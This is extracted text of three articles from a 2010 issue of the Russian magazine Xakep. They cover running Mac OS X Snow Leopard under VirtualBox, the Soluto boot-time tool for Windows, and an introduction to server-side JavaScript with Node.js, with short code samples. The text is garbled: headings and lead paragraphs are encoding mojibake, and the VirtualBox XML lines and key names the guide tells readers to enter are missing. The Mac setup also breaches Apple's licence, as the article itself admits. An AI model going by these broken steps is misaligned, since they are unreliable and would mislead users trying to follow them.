PC_ZONEСтепан «Step» Ильин twitter.com/stepahMACOS X +VIRTUALBOX =ËÞÁÎÂÜÇàïóñêàåì ìàêîñü ïîä âèðòóàëüíîéìàøèíîéÅäèíñòâåííî âåðíûé ñïîñîá ïî÷óâñòâîâàòü ïðåëåñòü Mac OS X — êóïèòü êîìïüþòåðèëè íîóòáóê Mac. Óäîáíî, áûñòðî, ñòàáèëüíî è áåç ãåìîððîÿ — ÷åëîâå÷åñêèéïîäõîä â ëó÷øèõ òðàäèöèÿõ Mac. Æåëàÿ ïîçíàòü íåïîçíàâàåìîå, à èìåííî —Mac OS X íà îáû÷íîì PC, ýíòóçèàñòû àêòèâíî äîïèëèâàþò ðàçëè÷íûå âèäû Õàêèíòîøà,ðóãàþòñÿ ñëîâàìè «êåêñò» è áîÿòñÿ àïäåéòîâ ñèñòåìû. Åùå ñëîæíååáûëî çàñòàâèòü ìàêîñü ðàáîòàòü ïîä âèðòóàëüíîé ìàøèíîé, íî ýòî òîëüêî äîñåãîäíÿøíåãî äíÿ.026ÝÊÑÏÅÐÈÌÅÍÒÀËÜÍÀß ÏÎÄÄÅÐÆÊÀВсе началось с того, что я решил попробовать написать приложениедля iPhone/iPad и тут же встрял из-за досадного ограничения.Оказалось, SDK разработчика и все сопутствующие инструментыдоступны только для платформы Mac OS Х. По правде говоря, Macя собираюсь купить уже довольно давно, особенно после мучительныхтанцев с Хакинтошом, но, увы, заветный Macbook Pro 15"как был, так и остается лишь пунктом в списке «Хочу купить».Колдовать снова с установкой Mac OS на свой PC, не имея гарантии,что смогу хотя бы запустить нужный софт, не было никакогожелания. Опыт подсказывал, что ничего хорошего не выйдет и свиртуальными машинами. Ни одно решение для виртуализации,будь оно от Microsoft, Parallels, VMware или Sun, без шаманства(важный момент!) не позволяет запустить Mac OS в качестве гостевойОС! Вернее говоря, не позволяло. Изучая changelog программыVirtualBox'а (теперь уже распространяемое под эгидой компании)Oracle, которую в последнее время использую в качестве основногосредства виртуализации, наткнулся на очень интересную строчку:XÀÊÅÐ 08 /139/ 10


Mac OS X, запущенная под VirtualBox«Experimental support for Mac OS X Server guests». Опция впервыепоявилась в версии 3.2.0 и далее часто упоминается. Получается,в качестве гостевой OS теперь можно установить макось? Слово«server» сначала сбило с толку, но быстро выяснилось, что это естьне что иное, как лицензионное ограничение Mac OS X. Дело в том,что лицензия допускает установку ОС только на компьютеры и ноутбукиMac. Все остальное, включая Хакинтоши и прочие извращения,по большому счету запрещены — вполне логичный шаг со стороныкомпании Apple. А вот ограничение внутри самой VirtualBox,как оказалось, искусственное. Быстро нашлось немало отзывов отом, что под VirtualBox'ом отлично устанавливается последняя версияMac OS X, то есть Snow Leopard (такое вот кодовое имя релиза).Тут надо иметь в виду, что подобный опыт напрямую нарушаетлицензию системы, поэтому может рассматриваться исключительнов образовательных целях.ÑÎÇÄÀÍÈÅ ÂÈÐÒÓÀËÜÍÎÉ ÌÀØÈÍÛГлавное требование для установки Mac OS X — поддержка процессоромспецификации VT-x. Intel Virtualization Technology forx86 поддерживается практически всеми современными процессорамиIntel, включая большинство Сore 2 Duo/Quad и модных i3/i5/i7. Мы проводили эксперимент на Core 2 Duo E8500 и Windows 7в качестве основной системы. Во многих случаях система должназавестись и на процессоре от AMD, но только при условии, чтотот имеет поддержку технологии виртуализации AMV-V. Далеепотребуется официальный диск с Mac OS X или его образ (у насбыла версия 10.6.3), конечно же, легально купленный (это тебене Windows!). Если образ сграблен под Mac OS и имеет разрешение.dmg, то привести его в привычный ISO-вид поможетутилита dmg2<strong>img</strong> (vu1tur.eu.org/tools): dmg2<strong>img</strong> source_file.dmg destination_file.iso. Далее необходимо создать «правильную»виртуальную машину, на которую и будет установленасистема. Собственно, начать нужно с того, что указать тип гостевойсистемы — «Mac OS X Server». Что приятно, такой тип выбираетсяавтоматически — стоит только в названии виртуалки использоватьслова «mac» или, скажем, «leopard». Крайне желательно выделитьвиртуаль ной машине минимум 1024 Мб оперативки и создатьвиртуаль ный жесткий диск на 20 Гб (вполне можно использоватьопцию «Dynamically expanding storage»). После создания виртуалкине лишним будет открыть ее свойства и, во-первых, отключитьэмуляцию floppy-диска, а во-вторых, установить количество видеопамяти,равное 128 Мб. В качестве IDE-контроллера должен бытьвыставлен тип ICH6, но это работает и по умолчанию.Информация о системе, т.е. виртуальной машинеXÀÊÅÐ 08 /139/ 10027


PC_ZONEВносим важные параметры в XML-конфигвиртуалкиДалее есть два пути. Первый и самый правильный — обойтисьсилами одной только VirtualBox. Для этого необходимо закрытьпрограмму (крайне важно, иначе ничего не получится!) и найтиXML-конфиг только что созданной виртуалки. В XP он находитсяздесь: C:\Documents and Settings\\.VirtualBox\Machines\\.xml, в Vista/Windows 7 C:\Users\\.VirtualBox\Machines\\.xml. Под Linux'ом ищи XMLвнутри /home. В этом файле есть несколько строк, описывающих такназываемые ExtraDataItem. Найди это место поиском в любом текстовомредакторе и добавь еще две строчки:После этого можно сохранить конфиг и заново запускать VirtualBox.Последний штрих — выбрать в качестве cdrome образ с Mac OS Xи стартовать виртуальную машину. В 90% случаев запустится графическийинсталлятор, и можно будет спокойно установить ось.Откуда берутся эти 10% неудач, сказать сложно. Однако если вдругво время загрузки выплывает какая-нибудь kernel-ошибка, илимногообещающе появится серый экран с курсором, но на этом всеи останавливается, можно попробовать другой путь. В этом случаеуже не надо никак шаманить с конфигом виртуалки (если добавилтуда ExtraDataItem'ы, то их надо удалить). Идея в том, чтобыиспользовать альтернативный загрузчик — Empire EFI (prasys.co.cc/tag/empire-efi). Штука распространяется в виде ISO-файла (например,empireEFIv1085.iso), которую надо примонтировать к виртуалкеи отдать команду на старт. Во время загрузки появится уже темныйинтерфейс Empire EFI — в этот момент надо демонтировать текущийобраз альтернативного загрузчика и подключить ISO'шку со SnowLeopard. Обновляем информацию о диске (), жмем —вуаля, опять же получаем окно установщика Mac OS X.ÓÑÒÀÍÎÂÊÀ È ÍÀÑÒÐÎÉÊÀТем или иным способом появляется графический интерфейс установщикасистемы, который приветливо предлагает выбрать языкдля установки. Далее, спросив, куда необходимо установить ОС, онпочему-то не предложит никаких вариантов. Все потому, что ещене размечен жесткий диск (виртуальный). Для того, чтобы создатьструктуры и отформатировать разделы, запускаем дисковую утилитуиз раздела «Утилиты» верхнего меню. Тут выбираем вкладку«Стереть», потом жмем кнопку «стереть», и утилита сама все сделаетза нас. Теперь указываем установщику размеченный раздел— и начинается процедуры установки. Reboot.Полностью рабочая система с достойным разрешением, поддержкойклавиатуры/мыши, а также сетевого адаптера — вот, что тебя ждетсразу после перезагрузки компьютера. Единственное — придетсяпройти процедуру идентификации клавиатуры (мастер потребуетнажать на клавиши рядом с ’ами), а также создать учетнуюзапись пользователя. Тут надо помнить, что раскладка клавиатурыпереключается комбинацией +. От всех процедуррегистрации и создания учетки в сервисе MobileMe можно смелоотказаться, как и от процедуры переноса данных с другого компьютераMac (ведь как заботливо, а!?). Далее, когда со всеми этимивопросами от нас отстанут, можно, наконец, пощупать саму систему.Щелкаем по окошкам, запускаем различные программы, пробуемоткрыть страницы в браузере Safari. Тут же скачиваем Textmate,легендарный текстовый редактор для Mac OS X, в виде непривычногоdmg-файла (формат дистрибутивов в Mac OS X) и устанавливаем— опять же, все отлично работает. Конечно, совсем не так шустро,как на самом Mac'е, и не так быстро, как в случае Хакинтоша, нопри этом вполне комфортно. В эйфории от того, что не надо мучитьсяс кекстами и прочими шаманствами, можно даже не заметитьотсутствие звука — в системе нет драйвера для звукового контроллераICH AC97, который эмулирует VirtualBox. Вероятно, этот фактсильно напрягал энтузиастов, поэтому на форуме виртуалки быстропоявились необходимые дрова. Добротный установщик, доступныйна forums.virtualbox.org/viewtopic.php?f=4&t=30843, избавит даже отвозни с ручной правкой kext'ов. Просто скачай PKG-файл, запустиего и перезапусти систему. Помимо отсутствия звука меня напрягалофиксированное разрешение, установленное в гостевой ОС, равное1024x768. К счастью, и для этого есть маленький хинт, которыйопять же необходимо провернуть в конфиге виртуалки. ОткрываемXML-файл в текстовом редакторе и после всех ExtraDataItem добавляемновую строку:Параметр N — это числа от 0 до 4, означающие разрешения640x480, 800x600, 1024x768, 1280x1024, 1440x900 соответственно.С помощью этой строки мы указываем, что виртуальная машинадолжна использовать так называемый VirtualBox EFI. EFI — этоExtensible Firmware Interface, новый индустриальный стандарт,который должен заменить БИОС в качестве основного интерфейса.Увы, в рамках используемого виртуальной машиной EFI другие разрешенияне поддерживаются, но даже 1440x900 вполне достаточнодля комфортной работы. Вот чего пока не хватает, так это поддержкинадстройки Guest Additions, с помощью которой, например,можно очень просто обмениваться файлами между хостовойи гостевой машиной. Сейчас для этого придется использоватьпротокол SMB. Для этого сначала нужно его включить. Переходимв настройки: «Меню Системные настройки Интернет и беспроводнаясеть Общий доступ» и включаем «Общий доступк файлам». В «параметрах» необходимо активировать протоколSMB. Теперь к любой Windows-машине с расшаренными ресурсамиможно подключиться через меню «Переход Подключениек серверу». Надо лишь указать адрес хоста в адресной строке:smb://10.0.2.2. Кстати говоря, значение 10.0.2.2 неслучайно: в большинствеслучаев (то есть с сетевыми настройками VB и виртуальноймашины по умолчанию) это будет адрес хостовой машины.ÊÓÏÈÒÜ MACСама по себе поддержка Mac OS X в качестве гостевой ОС — этоочередной шаг вперед ребят из команды VirtualBox. Многие изних живут и работают в Питере и еще пару лет назад с радостьюпоказывали мне только что введенную поддержку 3D-ускорениявнутри гостевых систем. Потом появился flash-клиент для доступак виртуаль ным машинам. Теперь — новая фича, и опять «полныйулет». С другой стороны, как бы просто ни было поставить макосьпод виртуалкой, это никогда не заменит настоящего Mac'а: быстрогокомпьютера или ноутбука с прекрасным экраном, чумовым тачпадоми долгой батареей. Помни об этом.z028 XÀÊÅÐ 08 /139/ 10


PC_ZONEСТЕПАН «STEP» ИЛЬИН TWITTER.COM/STEPAHÊîëîíêà ðåäàêòîðàMicrosoft's fail, èëè ïî÷åìó òàê äîëãî ãðóçèòñÿ âèíäà?Все приложения автозагрузки разделяются на понятные группыXÀÊÅÐ 08 /139/ 10Возможность расширить функциональностьза счет плагинов — это всегда большой плюсприложения. Некоторые из подключаемых расширенийнабирают такую популярность, что современем входят в состав оригинального приложения.Пример банальной рассудительностисо стороны разработчиков: если кто-то ужереализовал классную фичу, которая многим подуше, и сделали это хорошо, то чего же отказываться?Надо сделать ее доступной всем поумолчанию, и это будет правильно. Такой подходпочему-то никак не приживется у Microsoft.Удивительно, как компания умудряется вбухиватьогромные бабки в разработку многихинновационных функций, часть из которыхмы так и не увидели (взять хотя бы волшебнуюфайловую систему WinFS), но не можетвключить в состав своей эпохальной системынесколько утилит, которые, что совершенноочевидно, должны в ней быть. Я искреннерадовался за ребят, когда год назад поставилсебе Windows 7 — систему действительноудобную и приятную, которая шустро работалаи быстро грузилась. Увы, сейчас она грузитсяуже далеко не так быстро. Как бы я ни старалсяустанавливать только минимум проверенногософта (все эксперименты я провожу только подвиртуалкой), винда все равно обросла различнымиприложениями, сервисами, драйверами,часть из которых вообще установилась втихарявместе с другими программами. Нет, это ни вкоем случае не вина Microsoft: не может жекомпания отдуваться за все те хреново написанныепрограммы, которые в огромных количествахпользователь ставит в систему. Но!Объясните мне, почему в винде нет простогои понятного инструмента, который помог быпривести систему в чувство? Разве же сложновключить в состав утилиту, которая позволялабы навести порядок в той мусорной яме, называемой«автозагрузка»? Это при том колоссальномколичестве мест, которое разработчикисистемы заботливо предусмотрели для того,чтобы прописать приложение или библио текув автозагрузку (и чем непременно пользуютсяне только малварь, но и самые обычные приложения).Да, есть msconfig — но многие липользователи знают, как им пользоваться?Да какой там — как его вообще запустить?Или почему не включить в систему утилитуAutoruns от Sysinternals? Понимаю возможнуюопасность: проги больше подходят продвинутымпользователям, которые не побоятсяудалить лишнего. Но что мешает сделать аналогичныйпродукт, с подсказками и понятнымuserfriendly интерфейсом? Религия? Нам жеостается полагаться на другие решения, такиекак Soluto (www.soluto.com). Обязательно установиего. При первом же ребуте компьютерав левом нижнем углу ты заметишь небольшуюпанельку, в которой будет отображаться общийтаймер загрузки системы, а также названияпрограмм и сервисов, который в данныймомент подгружаются. Мое время загрузкиужаснуло — 2 минуты 23 секунды. Собственно,первая функция программы — это своеобразныйбенчмарк, который замеряет, сколько времениуходит на запуск каждого из элементовавтозагрузки. Наконец-то можно разобраться,что конкретно тормозит и увеличивает времязагрузки винды. Чтобы ситуацию можно былоразрулить, все элементы удобно разбиты нагруппы «No-brainer», «Potentially reboot»,«Required». Первая группа — самая лакомая. Внее входят те процессы, автозагрузки которыхпрактически без опаски можно удалить. Длякаждого компонента Soluto выводит небольшоеописание, где понятным языком объясняется,за что он отвечает. Но самый смак— в рекомендациях. Я, например, понятия неимел, за что отвечает служба «WMP Sharing».Утилита же на простом английском языкеобъяснила, что служба предназначена длятрансляции потокового видео в Сеть. «Если выне планируете организовывать трансляции вСеть, автозагрузку сервиса можно отключитьили отложить» — вполне понятная рекомендация.Отложенный запуск, упомянутый в рекомендации— это еще одна фича, позволяющаяреализовать запуск приложения не на стартесистемы, а во время ее простоя. Таким образом,можно добиться очень быстрого стартасамой винды, при этом все дополнительныепримочки будут запускаться позже. Втораягруппа — «Potentially reboot» — включаетэлементы, которые потенциально можно оптимизировать.По крайней мере, они не входятв третью группу («Required») обязательныхкомпонентов, которые непременно должныгрузиться на старте системы. Информация опринадлежности компонентов к той или инойгруппе подгружается из онлайн базы данных,в которой аккумулируются данные от различныхпользователей. Благодаря такому облакуразработчики Soluto могут составлять и корректироватьсвои рекомендации. Насколькоэто эффективно? За пару минут я довел времязагрузки системы до 51 секунды. Вот. zВремя загрузки после оптмизиации029


PC_ZONEАлександр Лозовюк aleks.raiden@gmail.comÑåðâåðíûéJavaScriptÇíàêîìèìñÿ ñ Node.js, èëè êàê íàâñåãäàîòêàçàòüñÿ îò PHP, Perl è PythonÏîñòîðîíèñü, ïðåñëîâóòûé PHP! Äîëîé Java! Ñòàðè÷îê Perl, òåáå òàê âîîáùåäàâíî ïîðà íà ïåíñèþ. È êàê æå âû óæå äîñòàëè, ïîïñîâûå Ruby è Python! Âñåýòè äàâíî çíàêîìûå òåõíîëîãèè óæå íå òîðêàþò. Çàòî ñåãîäíÿ ìû ïîñìîòðèì íà÷ðåçâû÷àéíî ïðîãðåññèâíûé ïîäõîä, êîãäà äëÿ íàïèñàíèÿ ñåðâåðíîãî êîäà èñïîëüçóåòñÿ…JavaScript.Есть идея для стартапа. Теперь вопрос: на чем его писать? Конечно,есть всеми любимый РНР — что может быть легче для веб-сайта!Но скажи честно, как-то не тянет, правда? Ведь чтобы сделать чтотостоящее, голого РНР не хватит. Сразу придется прикручиватьеще и AJAX, чтобы данные незаметно подгружались без обновлениявсей страницы целиком, да и это не решит всех проблем. О том,что PHP не так хорош, ты задумаешься в тот самый момент, когдак тебе разом ломанется много народа. А все потому что РНР (как иподавляющее большинство других языков, на которых строят сайты)даже в нашем, черт подери, двадцать первом веке, работают поклассической схеме «запрос-ответ». Запрос страницы заставляетвеб-сервер поднять указанный скрипт, выполнить его (линейно,строка за строкой весь твой код), а результат возвратить браузеруклиента. После этого скрипт «умирает», а следующий же запросзапустит всю эту адскую машинку заново. А если таких запросоводновременно тысяча? Старый добрый подход называется CGI(интерфейс взаимодействия веб-сервера и интерпретатора языка,на котором написана страница). Хитрые надстройки вроде FastCGIрасширяют протокол, позволяя избежать выгрузки скрипта послепервого запроса. Таким образом, когда второй пользователь запроситту же страницу, для него будет уже все готово, останется тольковыполнить скрипт с новыми параметрами. Но все эти ухищрения —все равно не то.×ÒÎ ÒÀÊÎÅ ÕÎÐÎØÎ, À ×ÒÎ ÒÀÊÎÅ ÏËÎÕÎМногие разработчики всегда считали JavaScript просто «примочкой»к браузеру, эдаким недоязыком, который годится развечто для управления формами и манипулирования DOM-деревом030веб-страницы. Некоторые до сих пор думают, что «java» в названиичто-то да значит! :) Действительно, язык очень простой. Впрочем,настоящие программисты давно научились творить с его помощьючудеса, предоставив нам потрясающе удобные онлайн-сервисы,которыми мы ежедневно пользуемся. Многие из таких профипошли дальше и, трезво посмотрев на сам язык и его возможности,особенно по части работы с событиями, решили: а что если наJavaScript написать сервер? Ты получаешь возможность написатьна одном и том же языке все части сайта: что серверную часть, чтосаму клиентскую страничку. Кроме того, JS отлично, просто идеальноподходит для разных веб-штучек. Он очень простой и одновременногибкий, что позволяет писать код в разных парадигмах: отобычного процедурного до ООП в смеси с функциональным стилем.А главное — это тотальная асинхронность. Это значит, что твойкод будет выполняться не последовательно, как в случае с PHP/Perl-скриптами, а именно в тот момент, когда для него будут готовывсе данные. Ведь для веба не надо большой вычислительной мощности— большую часть времени сервер ожидает событий вродеполучения данных формы, выборки из базы данных или, что ещехуже, ответа на запрос к другому серверу. Обычный РНР-скриптв такое время простаивает, а значит, простаивает весь поток, непозволяя серверу задействовать его для других пользователей. Втакой ситуации не спасает даже Nginx. В случае с JavaScript тыпросто указываешь, какую функцию необходимо выполнить, когдапроизойдет определенное событие, и все. В это время другой кодможет спокойно выполняться. Такая функция называется callback,или обработчик событий. Хотя писать действительно сложный код втаком стиле немного неудобно, особенно если твоя функция зави-XÀÊÅÐ 08 /139/ 10


Node.js — веб-сервер с V8 внутрисит от нескольких событий сразу, но и для этого уже придумалисвои фреймворки, зачастую гораздо более мощные и элегантные,чем все эти РНР/Ruby/Python.À Ê ×ÅÌÓ ÎÍÀ ÂÎÎÁÙÅ, ÝÒÀ ÀÑÈÍÕÐÎÍÍÎÑÒÜ?Для примера ограничений последовательного выполнения кодарассмотрим два типовых примера кода на PHP и JavaScript,выполняющих одно и то же. Начнем с любимого PHP:$result = $db->fetchOne('SELECT user_name FROM user_accounts WHERE id = 1');echo 'Ìîå èìÿ: ' . $result . ';';В первой строке мы посылаем простой SQL-запрос к БД на выборкуимени пользователя, у которого id = 1.Обрати внимание: вэтом месте скрипт останавливается, и следующая строка не будетвыполнена до того самого момента, пока запрос не будет обработанбазой, а результат не возвратится в переменную $result. Да,в нашем примере это тысячные доли секунды, но в реальности изапросы гораздо сложнее, и базы по размеру зачастую составляютгигабайты, и запросов таких может одновременно быть пара тысяч.А теперь попробуем написать код на JS, используя асинхронныйстиль:db.query('SELECT user_name FROM user_accounts WHEREid = 1', function(err, res){if (!err) sys.log('Ìîå èìÿ: ' + res);});sys.log('Ïðîäîëæàåì âûïîëíåíèå');ÃÎÒÎÂÛÅ ÍÀÐÀÁÎÒÊÈÄËß ÑÅÐÂÅÐÍÎÃÎ JAVASCRIPTКонечно, ты можешь писать код с чистого листа, что и делаютмногие правильные программисты. Однако немало из такихправильных программистов создали для себя удобные каркасыи наметки, которые теперь постоянно используют и предлагаютвсем желающим в виде фреймворков и спецификаций. Еслиты всерьез решил использовать серверный JS, то это отличныйспособ облегчить себе жизнь.Narwhal (narwhaljs.org) — мощное решение, работающее поверхмногих JS-движков. Таким образом, программистам не надопариться по поводу различия различных серверов — они могутпросто писать код.CommonJS (commonjs.org) — попытка стандартизировать платформуи дать общий API для всех движков, предлагая низкоуровневыйAPI, а также API для подключения различных готовыхмодулей.JSGI (JavaScript gate interface) — разработан специальный протоколвзаимодействия связи веб-демона и серверных сценариевна JavaScript. Увы, спецификацию пока полностью поддерживаеттолько проект Rhino в окружении сервера jetty.XÀÊÅÐ 08 /139/ 10Производительность Node.jsТут опять же создается запрос к базе данных, однако кроме самогоSQL-выражения в запросе передается еще и функция-обработчик(callback). Эта функция будет вызвана именно тогда, когда придетответ от базы данных, а до этого момента выполнение скрипта ни вкоем случае не будет стопориться. Для примера в следующей строкемы просто выводим строку в консоль, чтобы показать, что выполнениесценария продолжается сразу после формирования запроса,не ожидая его завершения. Собственно, в основе любого вариантасерверного JavaScript заложена концепция событий и callback'ов,то есть обработчиков событий. Ты можешь описывать собственныесобытия. Тогда ход выполнения приложения будет зависеть отсобытий, которые возникают в результате активности пользователяна странице («форма заполнена» или «новое сообщение» и т.д.)или генерируются внутри самого сервера (как, например, в случаес обращением к базе данных). Те действия, которые необходимовыполнять в случае наступления событий, описываются внутрифункций обработчиков событий.ÄÂÈÆÎÊ, ÂÎÒ Â ×ÅÌ ÂÎÏÐÎÑКороче говоря, использовать JavaScript не только для клиентскойчасти, но и на серверной стороне — это хорошо и даже приятно.Другой вопрос — каким образом это возможно осуществить? Сегодняесть четыре основных движка, которые используются на серверах.Rhino — движок от компании Mozilla, написанный на Java и поддерживающийпоследнюю 1.7 версию стандарта JS, который к томуже дополняет язык собственными расширениями и объектами.Основным преимуществом движка является работа поверх стандартнойJVM, а значит, его можно использовать в любой среде, гдеработает Java. Другими словами, можно применять современныевеб-серверы типа jetty, но при этом писать на любимом JS. Кстати,Rhino применяют на облачном хостинге от Google! А вот с производительностьюсложнее. Она зависит, с одной стороны, от движка иприменяемых там технологий, вроде JIT-компиляции, и от работысамой Java-машины. Кстати, многие тестеры, которые говорят, чтоRhino очень медленный, забывают, что движок имеет два режимаработы: интерпретации, когда скрипт каждый раз преобразуется вJava байт-код (аналогично PHP), и компиляции, когда такое преобразованиепроисходит только раз, а потом многократно исполняется.Первый режим выгоден, когда ты отлаживаешь код, которыйменяется каждую минуту, второй больше подходит для рабочей версиипроекта, работающей под нагрузкой.SpiderMonkey — еще один движок от Mozilla, на этот раз на C.Кстати, это вообще первый в мире движок JS, написанный еще вNetscape — сегодня он открыт и используется в таких популярныхпродуктах как Firefox, Adobe Acrobat и даже в одном из эмуляторовсерверов онлайн-игры Ultima <strong>Online</strong>. Далее разработчики сильномодифицировали его, добавив компиляцию JS напрямую в ассем-031


PC_ZONEПример асинхронного веб-сервераблерный код, и переименовали в TraceMonkey — именно этот движокиспользуется в ветке 3.6 Firefox’а. В основном SpiderMonkeyиспользуют в ПО, которое написано на С/С++ и нуждается в скриптовомязыке. Из известных продуктов: Comet-сервер APE, noSQL БДCouchDB, серверная платформа Jaxer и модуль к Apache mod_js.Futhark — это движок от Opera, который, кроме браузера, используетсяв их инновационном сервисе Unite (типа встроенный серверв каждом браузере), а также на их серверах, обслуживающихмобильный браузер Opera Mini. Жаль, что движок закрыт, и егопока нигде за пределами самой Opera не применяют.V8 — движок от Google, который используется в Chrome и являетсяосновой будущей Chrome OS. Сегодня это самый крутой, быстрыйи мощный движок, в котором JS-код напрямую преобразуется вассемблер целевого процессора, что позволяет обойти по скоростивсе остальные движки. Кроме этого гугловцы используют множествоухищрений для оптимизации, хранят в памяти скомпилированныйкод, оптимизируют его на лету (например, удаляют блоки кода, которыепо решению компилятора вообще не могут быть задействованы,и т.п.). На базе этого движка построена самая популярная и быстроразвивающаясясерверная платформа — Node.JS.NODE.JSВероятно, именно после выхода Chrome разработчики смекнули,что такой быстрый движок можно успешно использовать и на сервере.Первым опытом стал проект V8cgi, который просто позволялписать серверные сценарии, работающие с любым веб-серверомпо стандартному протоколу CGI. Дальнейшие эксперименты привелик рождению проекта Node.js — полностью самостоятельнойплатформы, включающей, кроме движка, встроенный сервер (HTTPи TCP/UDP/Unix-soket) и базовый набор библиотек, а также предоставляющейполностью асинхронную работу с файлами и сетевымиустройствами.Проект развивается настолько быстро и активно, что уже сейчасготов к промышленному использованию. Это, в частности, доказываетопыт парней из Plurk (азиатский аналог твиттера), которыеполностью перенесли свой comet-сервер, изначально написанныйна Java и солидном JBoss Netty, на Node.js и, по отзывам, сократилипотребление памяти буквально на гигабайты. А масштабы у нихеще те — более сотни тысяч одновременных соединений.Запустить HTTP-сервер, способный обрабатывать асинхроннотысячи подключений — это несколько строк кода:var sys = require('sys'),http = require('http');http.createServer(function (req, res) {res.writeHead(200, {'Content-Type': 'text/plain'});res.end('Hello World\n');}).listen(80, "127.0.0.1");sys.puts('Server running at http://127.0.0.1:80/');Чтобы запустить сервер, скопируй код в файл example.js и укажиего при запуске демона node:Для последних версий Node.js есть полноценныйWindows-порт% node example.jsServer running at http://127.0.0.1:80/Маленький тест провести очень просто. Можно взять программуApache Bench — очень простую тулзу для проведения нагрузочноготестирования, и запустить ее: running «ab -n 1000 -c 100‘http://127.0.0.1:80/’». Таким образом, бенчмарк будет «обстреливать»сервер тысячами запросов, используя 100 одновременныхподключений. На моем ноутбуке сервер выдержал больше 3000запросов в секунду. Это очень много!Сам сервер написан на C++ и совсем немножко на ассемблере,однако большая часть библиотек из дистрибутива разработанана JavaScript. В состав базового набора сервера входят толькоосновные функции, остальное оставлено на плечах разработчиков,которые уже написали сотни разных библиотек и фреймворков.Впрочем, молодость проекта дает о себе знать: многих привычныхдля других решений модулей еще нет, а у многих библиотек текущаяверсия — 0.0.1, что не придает уверенности в их стабильности.Некоторые тривиальные задачи могут вообще не иметь готового кзакачке решения, но бывает и наоборот — количество реализаций,зачастую радикально разных по архитектуре, исчисляется десятками(доступ к базе MySQL, например). Хотя большинство библиотекнаписано на чистом JavaScript, есть и такие, что требуют компиляциимодуля к серверу, что обещает гораздо большую скорость —они просто расширяют стандартный API сервера.ÎÑÎÁÅÍÍÎÑÒÈ NODE.JSОсновной особенностью Node, кроме полной асинхронности,яв ляется его однопоточная модель. Другими словами, все операциивыполняются в одном и том же потоке ОС, даже если у твоегосервера тысяча одновременных пользователей. Правда, доступносоздание дочерних процессов и низкоуровневое управлениеисполнением скриптов (загрузка, компиляция, работа с ассемблернымкодом, исполнение). Для реализации многопоточности изадействования всех ядер современных процессоров рекомендуетсяпросто загружать несколько копий приложения, но можно взятьна вооружение WebWorker из стандарта HTML5 и распределитьработу приложения по нескольким дочерним процессам. Не думай,что раз нет многопоточности — это тормоз и отстой. Вспомни, чтовеб-приложение делает полезную работу очень быстро, а большуючасть времени просто ожидает чего-то (данных от базы, отmemcached'а или новомодной NoSQL-базы), либо просто держит впамяти открытые соединения для Comet'а, поэтому в одном потокеможно обработать и десяток тысяч, не прибегая к кластеризации.Второй особенностью архитектуры Node является событийность.Почти каждая операция имеет коллбэки, генерирует событие, апользователю доступен объект EventEmiter, через который можнобуквально одной строкой генерировать свои события (это несложно,ведь событие — это просто строка с названием, а также списокпараметров, которые передаются в обработчик). Сам по себе032 XÀÊÅÐ 08 /139/ 10


INFOПроект молодой, и API постоянно изменяетсяinfoБольшинство, еслине все, библиотекии проекты на Node.JS сосредоточены наGithub, поэтому еслинет какого-то модуля,нужного тебе, ищиего там.Утилита для мониторинга логовNode построен вокруг EventLoop — глобального циклаобработки событий, который на каждом тике проверяет,готовы ли данные для какого-либо из определенныхпользователем коллбэков. Если данные есть, начинаетсявыполнение кода. Если не осталось больше кода —ожидаем следующего вызова. Цикл выполняется вне JS,а в самом движке, написанном на C, вследствие чегоэто происходит очень и очень быстро (порядка сотентысяч раз в секунду). Что-то типа бесконечного цикла. Вдополнение к этому в сервер встроен очень эффективныйсборщик мусора (GC), поэтому даже тысячи подключенийне вызывают переполнения памяти и падениясервера. Node.js обладает встроенной родной системойработы с событиями.ÏÐÎÑÒÅÉØÈÉ STEAMING-ÑÅÐÂÅÐПопробуем написать простой, но в тоже время полезныйпример, который в реальном времени будет выдаватьпользователю полезную информацию без перезагрузкистраницы. Вот идея для нашего приложения — братьновые данные, которые добавляются в текстовый лог, ивыводить их в реальном времени на веб-странице:var sys = require('sys'),net = require('net'),spawn = require('child_process').spawn,http = require("http");sys.puts('\nMy process PID: ' +process.pid + '\n');var tail = spawn('tail', ['-f','/var/log/nginx/access.log']);// óêàçûâàåì íàçâàíèÿ ëîãôàéëàsys.puts("Start tailing");tail.stdout.addListener("data",function (data) {sys.puts(data);//äóáëèðóåì ñåáå íà êîíñîëü});http.createServer(function(req,res){res.sendHeader(200,{"Content-Type":"text/plain"});tail.stdout.addListener("data", function(data) { res.write(data); });}).listen(80);С помощью функции spawn() мы создаем дочерний процессутилиты tail, которая, собственно, и занимаетсятем, что считывает новые данные, которые появляютсяв логфайле. Процесс запускается только раз во времястарта сервера. Собственно, наша задача — отлавливатьмоменты, когда команда tail будет выводить новые данныеиз логфайла и транслировать вывод на веб-страницу каждомуподключившемуся клиенту. Для этого мы будем следитьза возникновением события data (появлением новыхданных) для переменной, к которой запущен процессутилиты tail, и выводить их на страницу с помощью командыwrite(). Таким образом, соединение будет оставатьсяоткрытым для каждого HTTP-запроса. Вот и все. Следитьза активностью процесса не так просто для обычноговеб-приложения, но ничего не стоит для неблокируемойархитектуры node.js и логики выполнения, основанной насобытиях. Нам остается только запустить скрипт: «nodetail.js error.log» и открыть в браузере http://localhost:80.На странице будут отображаться все сообщения, которыепоявляются в логфайле error.log.ÂÎÒ È ÑÊÀÇÎ×ÊÅ ÊÎÍÅÖСейчас, выбирая на чем бы таком написать очередноеweb 2.0 приложение, где не только красивый клиентскийкод, но и что-то надо делать на сервере, тебяпарит одна грустная мысль о том, что все уже изобрелии написали до тебя. Те же языки, что и десять летназад, те же библиотеки, протоколы и сервера. РНРуже ого сколько лет, Perl так вообще седой, Python увсех на слуху, а Ruby успел надоесть. Писать для вебастало рутиной — посмотри, как твои друзья сидят идумают, что же сделать с 25-мегабайтным монстромZend-framework. А тебе хочется что-то нового, бытьна острие прогресса, создавать то, на чем потом будутписать все, а сейчас знают только увлеченные хакерыи ищущие себя дзен-программеры? Посмотри наJavaScript в сервере, он просто создан для этого. Оченьпростой, мощный, еще не погрязший в тонне библиотеки фреймворков. Задачи, которые на РНР не решитьвообще, на базе Node.JS решаются буквально десяткомстрок. И, возможно, именно такое программирование,наконец, принесет утраченное чувство наслаждения отразработки!zHTTP://WWWlinks• Материалы поNodeJS:groups.google.com/group/nodejs• Русскоязычныйсайт и форум:forum.nodejs.ru• Информация о серверномJS:en.wikipedia.org/wiki/Server-side_JavaScript• Хороший мануалдля начинающих поNode.JS:www.slideshare.net/the_undefined/nodejs-a-quick-tour• Презентациявведениепо Node.JS:nodejs.org/jsconf.pdfXÀÊÅÐ 08 /139/ 10033


